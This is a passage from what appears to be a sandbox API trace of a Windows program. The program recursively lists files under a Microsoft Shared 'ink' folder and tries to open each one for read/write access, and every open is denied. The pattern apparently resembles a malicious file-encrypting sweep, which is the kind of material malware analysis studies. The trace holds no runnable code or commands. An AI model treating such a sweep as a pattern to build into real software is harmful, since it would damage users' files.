ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.547] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.547] GetProcessHeap () returned 0x990000 [0163.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.548] GetLastError () returned 0x5 [0163.548] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.548] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.548] GetProcessHeap () returned 0x990000 [0163.548] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.548] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0163.548] GetProcessHeap () returned 0x990000 [0163.548] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b2468 [0163.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.550] GetProcessHeap () returned 0x990000 [0163.550] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.550] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.550] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0163.550] GetProcessHeap () returned 0x990000 [0163.550] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b7b40 [0163.550] GetProcessHeap () returned 0x990000 [0163.550] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b2468 [0163.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.551] GetProcessHeap () returned 0x990000 [0163.551] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.551] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.552] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0163.552] GetProcessHeap () returned 0x990000 [0163.552] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a2) returned 0x9e3ce0 [0163.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.553] GetLastError () returned 0x5 [0163.553] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0163.553] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.553] GetProcessHeap () returned 0x990000 [0163.553] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.553] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0163.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.554] GetLastError () returned 0x5 [0163.554] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0163.554] GetProcessHeap () returned 0x990000 [0163.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b2468 [0163.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.554] GetProcessHeap () returned 0x990000 [0163.554] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.554] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.554] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0163.554] GetProcessHeap () returned 0x990000 [0163.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a2) returned 0x9e3ce0 [0163.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.554] GetLastError () returned 0x5 [0163.554] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0163.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.556] GetLastError () returned 0x5 [0163.556] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0163.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.556] GetLastError () returned 0x5 [0163.556] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0163.556] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.556] GetProcessHeap () returned 0x990000 [0163.556] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.556] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0163.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.557] GetLastError () returned 0x5 [0163.557] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0163.557] GetProcessHeap () returned 0x990000 [0163.557] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x9c) returned 0x9b2468 [0163.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.581] GetProcessHeap () returned 0x990000 [0163.581] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.581] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.581] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0163.581] GetProcessHeap () returned 0x990000 [0163.581] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x29e) returned 0x9e3ce0 [0163.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.582] GetLastError () returned 0x5 [0163.582] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0163.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.582] GetLastError () returned 0x5 [0163.582] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0163.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.583] GetLastError () returned 0x5 [0163.583] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0163.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.584] GetLastError () returned 0x5 [0163.584] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0163.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.585] GetLastError () returned 0x5 [0163.585] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0163.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.585] GetLastError () returned 0x5 [0163.585] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0163.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.602] GetLastError () returned 0x5 [0163.602] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0163.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.603] GetLastError () returned 0x5 [0163.603] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, 